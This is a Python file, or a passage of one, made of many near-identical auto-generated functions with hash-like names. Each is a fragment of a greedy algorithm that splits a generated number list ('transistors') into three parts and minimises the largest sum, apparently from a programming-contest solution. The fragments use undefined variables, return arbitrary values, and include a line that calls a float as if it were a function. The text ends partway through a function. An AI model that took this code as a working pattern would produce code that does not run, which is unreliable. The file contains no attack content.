nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
return first
def func_6c52d1ec139a4a78ac8af8428439c92e(transistors):
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
return nextfirstsum
def func_d555187c80d841e7859f74b9e2c7e4b0(transistors):
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
return last
def func_0d629ee1b3694760a1383baf60070e85(transistors):
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
return nextlastsum
def func_6d63594e3dcd401a91382fae652404bc(transistors):
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
return firstsum
def func_d099e9561b524985b0ad96fff92f1dbc(nextfirstsum, transistors,
transistorsum):
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
return nextlastsum
def func_e0ec41b2d6264546aefc480695ac0ff7(nextfirstsum, transistors,
transistorsum):
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
return first
def func_e053625d93ab4825846ba8ac103112ec(nextfirstsum, transistors,
transistorsum):
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
return firstsum
def func_e7d2236a6a254fa59a413e3461794d32(nextfirstsum, transistors,
transistorsum):
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
return currentmax
def func_78951733f3424975a3772f76eab1b0c8(nextfirstsum, transistors,
transistorsum):
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
return lastsum
def func_77c540d601ee45ad81594fb9f24b8e58(nextfirstsum, transistors,
transistorsum):
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
return last
def func_d182ed7e765448a6bed3ae97edee8ea7(nextfirstsum, transistors,
transistorsum, nextlastsum):
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
minimax = min(currentmax, minimax)
return currentmax
def func_9f9660714b3b4d02bc988266b66633a9(nextfirstsum, transistors,
transistorsum, nextlastsum):
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
minimax = min(currentmax, minimax)
return minimax
def func_8cf605e891d049e48f96793487c93d36(nextfirstsum, transistors,
transistorsum, nextlastsum):
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
minimax = min(currentmax, minimax)
return firstsum
def func_e9c105436f104758b0811f70b2100026(nextfirstsum, transistors,
transistorsum, nextlastsum):
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
minimax = min(currentmax, minimax)
return last
def func_a6330ac86cea4758b68939f467eaf9d0(nextfirstsum, transistors,
transistorsum, nextlastsum):
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
minimax = min(currentmax, minimax)
return lastsum
def func_7f34e6cc572a496aaa9e899b09f8f266(nextfirstsum, transistors,
transistorsum, nextlastsum):
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
minimax = min(currentmax, minimax)
return first
def func_f2293184932342a69c7506a56ccb8285(transistors, transistorsum):
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
return currentmax
def func_6ef8edb74d93404883dcda272ce96b83(transistors, transistorsum):
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
return nextfirstsum
def func_8e4f0352e67c4f70a0902e6d5f1f44b0(transistors, transistorsum):
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
return lastsum
def func_50a81ce6818142caaec71f6a26fe2fa0(transistors, transistorsum):
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
return nextlastsum
def func_b47c43f0d6ca4dd487aa61f196b2598a(transistors, transistorsum):
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
return last
def func_fa8b3ed0a1d848a39e8a0c9f7caa5706(transistors, transistorsum):
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
return first
def func_33a9fbca80a8419e8147beeebc1bd04c(transistors, transistorsum):
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
return firstsum
def func_0f62693a32a04b6fa0c718c2260d1085(nextfirstsum, transistors,
transistorsum):
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
minimax = min(currentmax, minimax)
return currentmax
def func_a5738a2b29884c95af213f561f9c5be4(nextfirstsum, transistors,
transistorsum):
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
minimax = min(currentmax, minimax)
return nextlastsum
def func_14f22361f24c4aae8dbe20d27bb95412(nextfirstsum, transistors,
transistorsum):
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
minimax = min(currentmax, minimax)
return firstsum
def func_81b2bd30d0834149a5a5833fb7e30532(nextfirstsum, transistors,
transistorsum):
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
minimax = min(currentmax, minimax)
return minimax
def func_96d36ee2d95848e0a4c91f7e868ee824(nextfirstsum, transistors,
transistorsum):
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
minimax = min(currentmax, minimax)
return first
def func_56cb9801f05c475681ec8c491f2bff14(nextfirstsum, transistors,
transistorsum):
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
minimax = min(currentmax, minimax)
return last
def func_f11ff8546d0a436a83ddf508bdb16c68(nextfirstsum, transistors,
transistorsum):
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
minimax = min(currentmax, minimax)
return lastsum
def func_730e88351dd74162a7e612379972acab(transistors, transistorsum):
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
minimax = min(currentmax, minimax)
return currentmax
def func_b0e2d7d108e542a79530c5694dfccc0d(transistors, transistorsum):
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
minimax = min(currentmax, minimax)
return firstsum
def func_a0d9ee6ff81d4330baca4c700b49a456(transistors, transistorsum):
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
minimax = min(currentmax, minimax)
return minimax
def func_77cc6005adbf430e88bbcf3b6e6b32b3(transistors, transistorsum):
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
minimax = min(currentmax, minimax)
return first
def func_a8ed0c19014642e69029bd166e6af563(transistors, transistorsum):
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
minimax = min(currentmax, minimax)
return nextfirstsum
def func_b722854ba7e14fefb845115609fad431(transistors, transistorsum):
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
minimax = min(currentmax, minimax)
return nextlastsum
def func_771028eb77904428921cb4cd2b2f6b19(transistors, transistorsum):
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
minimax = min(currentmax, minimax)
return last
def func_5df90bb53e324c83a5f52f63026b5306(transistors, transistorsum):
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum - lastsum])
minimax = min(currentmax, minimax)
return lastsum
def func_2bef54e30da9437f93eb3a275fa44039(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
return i
def func_4d374a08a2ab46e8b587038ec3471f62(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
return r
def func_7a4d4a6d80a4456cbbbcd499edd9b98d(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
return p
def func_24b9fb657bc44d7a87b3e7c609ecc519(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
return transistors
def func_7c2f3b767bf0460b8af24a8b3f82024d(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
return q
def func_7a0e6ff660944c8a8cbef530be6738ba(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
return s
def func_832532a581e04093b22af49e6c9f3251(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
return x
def func_4a08a1acb729484db07f07389bc64d3d(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
return N
def func_fe462b250e3b4878b264345263390eb3(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
return transistors
def func_61d3671003534e56903158aba2074282(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
return i
def func_cfaa4fa06f6b411a9a0bbd5079a38ebf(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
return transistorsum
def func_c080f973c26143d197f04158b1bd248d(transistors):
transistorsum = sum(transistors)
first = 0
return transistorsum
def func_a0a226f3b84a45a3843974f71b9271d8(transistors):
transistorsum = sum(transistors)
first = 0
return first
def func_daef88a4ef2c4f149242b921435b5112(N):
first = 0
last = N
return last
def func_09f98dd3c37e41b080e6b695693fa7d0(N):
first = 0
last = N
return first
def func_78ebe6e378744de3b56f69a52b68c31e(N):
last = N
firstsum = 0
return firstsum
def func_e7d89f62d7584c488262f8e17119f7ff(N):
last = N
firstsum = 0
return last
def func_7b896c8c8dbb40258991f429547f44e2():
firstsum = 0
lastsum = 0
return lastsum
def func_0d57a547a8a647519b9c9e481d0c44ec():
firstsum = 0
lastsum = 0
return firstsum
def func_6b2fc224f43d4f6c98d66686f88070b5(transistorsum):
lastsum = 0
minimax = transistorsum
return lastsum
def func_cf637f5c33a544d19e1019d0abbb41eb(transistorsum):
lastsum = 0
minimax = transistorsum
return minimax
def func_7d14a20d80c84c829954e36f67051b6e(transistors, transistorsum):
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return last
def func_47a9773b53964788ae14abb41c198514(transistors, transistorsum):
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return nextlastsum
def func_bb31ec36472b4182bd790f15d9b23f8d(transistors, transistorsum):
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return nextfirstsum
def func_df9dbcb65dcf442a903a503df13f46b3(transistors, transistorsum):
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return minimax
def func_329731e718c44a40bc21b5f16845ac0a(transistors, transistorsum):
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return firstsum
def func_a7ee2f87b7a6444a8863f96c25662b22(transistors, transistorsum):
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return currentmax
def func_b62469b168274eb1b59e90728c0608c1(transistors, transistorsum):
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return first
def func_c6f2f483b5df4dc0b647e371c31932b9(transistors, transistorsum):
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return lastsum
def func_9927e96149a8408797e6bbe7946a67ed(transistors, transistorsum):
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return currentmax
def func_c141f1be557a464ba19dbffe78b1aace(transistors, transistorsum):
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return minimax
def func_cde5c6a7e5394c1292467c3eaa1eaee2(transistors, transistorsum):
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return nextfirstsum
def func_aec0cca72fbb4395b02c84d1a29eccab(transistors, transistorsum):
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return nextlastsum
def func_94f3bc53e63a4c7da7d837754549ff46(transistors, transistorsum):
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return answer
def func_6762b86986c54a60817926a2575bafaf(transistors, transistorsum):
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return lastsum
def func_aa25eb2d76304c36abb21d443ab061cd(transistors, transistorsum):
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return last
def func_a09b6eee847f4df6bf218713f306446c(transistors, transistorsum):
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return firstsum
def func_f6f4cf15a58f455bac8d6cad4fc2289f(transistors, transistorsum):
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return first
def func_25f4d56c88f44359b82a49c061ace05c(minimax, transistorsum, testcase):
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return answer
def func_c6aa2693082c41ec8faf44768c5d2043(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
return transistors
def func_29f1084c70d54ca9b57dedf39dd84e15(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
return s
def func_91dd9554baac420c8611de6fa4b0427c(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
return N
def func_1d53cc4f72d84d0e9674663c0132d5b1(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
return p
def func_1f777bdcd2744c97a2b2196b9b585625(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
return r
def func_943d66cfce904232a4a3643ad2257ca2(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
return x
def func_c02fe4c744af432391ab5274c0290c31(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
return i
def func_913bfdc1c28a429c9c2b8130d724ec53(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
return transistorsum
def func_6ede1741e135442c8560eedf02f2c19b(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
return q
def func_5a59bb82667f4850936289f8d2f5ad37(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
return transistors
def func_b25f2c22870744a09f2ca75ac633d73e(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
return transistorsum
def func_7063f45f0078448588d7a6d34923afc4(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
return first
def func_9b9be35c92b14e9da0d2db0ad55f4ebd(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
return i
def func_0bcc8010454c4a77b62b061fd238b179(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
return first
def func_e18153ab8dec41508aa3778028616108(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
return transistorsum
def func_8606ab3b22b24a2f8b61e586d8d72ca0(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
return last
def func_88d88ba845ac40538a9333bec8fb108b(N):
first = 0
last = N
firstsum = 0
return firstsum
def func_40b21a40e6744272bd108958567dae53(N):
first = 0
last = N
firstsum = 0
return first
def func_2e99ae7edaa54b97b2df84cb67e2a77e(N):
first = 0
last = N
firstsum = 0
return last
def func_fd63678bedf64733bf05c60b1a2e1494(N):
last = N
firstsum = 0
lastsum = 0
return firstsum
def func_51a74cc291ae4bb9ab53fa5acee354db(N):
last = N
firstsum = 0
lastsum = 0
return lastsum
def func_bea012f625864e7a9786e048b59afd75(N):
last = N
firstsum = 0
lastsum = 0
return last
def func_bdd299be495b4af0932287d680acdd63(transistorsum):
firstsum = 0
lastsum = 0
minimax = transistorsum
return lastsum
def func_7daca5ad88fc499ca0c9d96874767d76(transistorsum):
firstsum = 0
lastsum = 0
minimax = transistorsum
return minimax
def func_7f91705e09644d33aa6acce40071498d(transistorsum):
firstsum = 0
lastsum = 0
minimax = transistorsum
return firstsum
def func_ac231012a2aa410bb65471575dbb52c6(transistors, transistorsum):
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return first
def func_15841c390962450590300773f6ceecc5(transistors, transistorsum):
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return last
def func_de60a326ab48448e9074435c413dc97b(transistors, transistorsum):
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return currentmax
def func_b9f719a3890a477fb54770a8e1370e1c(transistors, transistorsum):
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return lastsum
def func_403fb615f5744c329d3e5b835b736898(transistors, transistorsum):
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return minimax
def func_9c3a5f109f4b4bab93f2ff2cb1761801(transistors, transistorsum):
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return firstsum
def func_abf20741b7784dfcad875628513cec34(transistors, transistorsum):
lastsum = 0
minimax = transistorsum
while last - first != 1:
